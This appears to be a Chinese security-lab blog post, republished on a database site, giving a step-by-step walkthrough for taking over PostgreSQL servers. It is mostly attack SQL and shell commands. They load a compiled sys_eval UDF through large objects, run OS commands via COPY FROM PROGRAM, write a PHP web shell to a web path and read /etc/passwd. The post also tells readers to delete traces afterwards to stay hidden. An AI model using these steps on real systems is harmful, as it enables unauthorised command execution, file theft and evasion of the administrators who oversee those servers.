暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

postgresql数据库利用

破军安全实验室 2022-03-15
567

破军安全实验室


    忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

本文约1700字,阅读约需5分钟。


0x00 前言


postgresql数据库也是我们经常遇到的数据库,一般来讲区分高低版本,但是低版本遇到的会非常少,而且利用简单,我这里只讲高版本的利用原理跟mysqludf提权没区别,只不过利用方式琐碎,于是有了一下文章。

 0x01 利用


1、查看当前postgre数据库的路径,主要是用来查看你的dll或者so文件是否成功上传

    select pg_ls_dir('./');
    复制

    对应下面的目录


     

     

    2、新建一个大型对象并返回该大型对象的oid

      SELECT lo_create(9023);
      复制

       

      创建成功后在pg_largeobject_metadata表里能查看你是否创建了这个oid

      不能直接用select * frompg_largeobject_metadata



      得使用select oid frompg_largeobject_metadata才能查出来已经创建的oid



      用完使用delete frompg_largeobject_metadata where oid=9024;  来删除,尽量隐蔽自己


       

      3、创建好oid后往pg_largeobject表里插入内容,项目地址如下:

        https://github.com/sqlmapproject/udfhack/tree/master/linux/lib_postgresqludf_sys
        复制


        将上述github项目根据目标postgre版本编译成so或者dll即可

        把编译好的so或dll文件的16进制数据取出来,可以使用以下命令

          cat exp.so|xxd -ps|tr -d "\n"
          复制


          然后将16进制数据进行分割,以4096字节进行分割。可以自行手动分割或者写脚本。

          然后往pg_largeobject表里插入数据,如果最后一段分割的文本长度不够4096字节,直接使用也是可以的

            insert into pg_largeobject values (9023, 0, decode('72756E64......0000000000', 'hex'));
            insert into pg_largeobject values (9023, 1, decode('72756E64......0000000000', 'hex'));
            insert into pg_largeobject values (9023, 2, decode('72756E64......0000000000', 'hex'));
            复制


            可以使用select * from pg_largeobject来查看插入的数据


             

            4、导出插入的16进制数据生成dll或者so文件

              SELECT lo_export(9023,'123.so');
              复制



              导出后会在当前目录生成文件


               

              5、加载dllso文件

                CREATE OR REPLACE FUNCTION sys_eval(text)RETURNS text AS '123.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUTIMMUTABLE;
                复制



                这里需要注意,我这里的so文件是针对postgresql9.6版本的,别的版本的需要针对性编译

                 

                6、执行命令

                  select sys_eval('pwd');
                  复制


                   

                  7、用完记得删除函数

                    drop function sys_eval(text);
                    复制


                    第二种方式执行命令,这种方式是需要要求版本大于9.3以上的

                    由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。

                     

                      DROP TABLE IF EXISTS cmd_exec;

                      CREATE TABLE cmd_exec(cmd_output text);

                      COPY cmd_exec FROM PROGRAM 'pwd';

                      SELECT * FROM cmd_exec;
                      复制


                       

                      如果目标机器存在web服务,并且知道绝对路径的情况下可以写shell

                        COPY (select '<?php phpinfo();?>') to'/tmp/1.php';
                        复制


                         

                         

                        也可以用来读取文件

                          drop table read_file;
                          CREATE TABLE read_file(t TEXT);
                          COPY read_file FROM '/etc/passwd';
                          SELECT * FROM read_file
                          复制




                           声明

                              由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,破军安全实验室及文章作者不为此承担任何责任。

                              破军安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经破军安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


                          破军安全实验室

                          # 长按二维码 关注我们 #



                          文章转载自破军安全实验室,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                          评论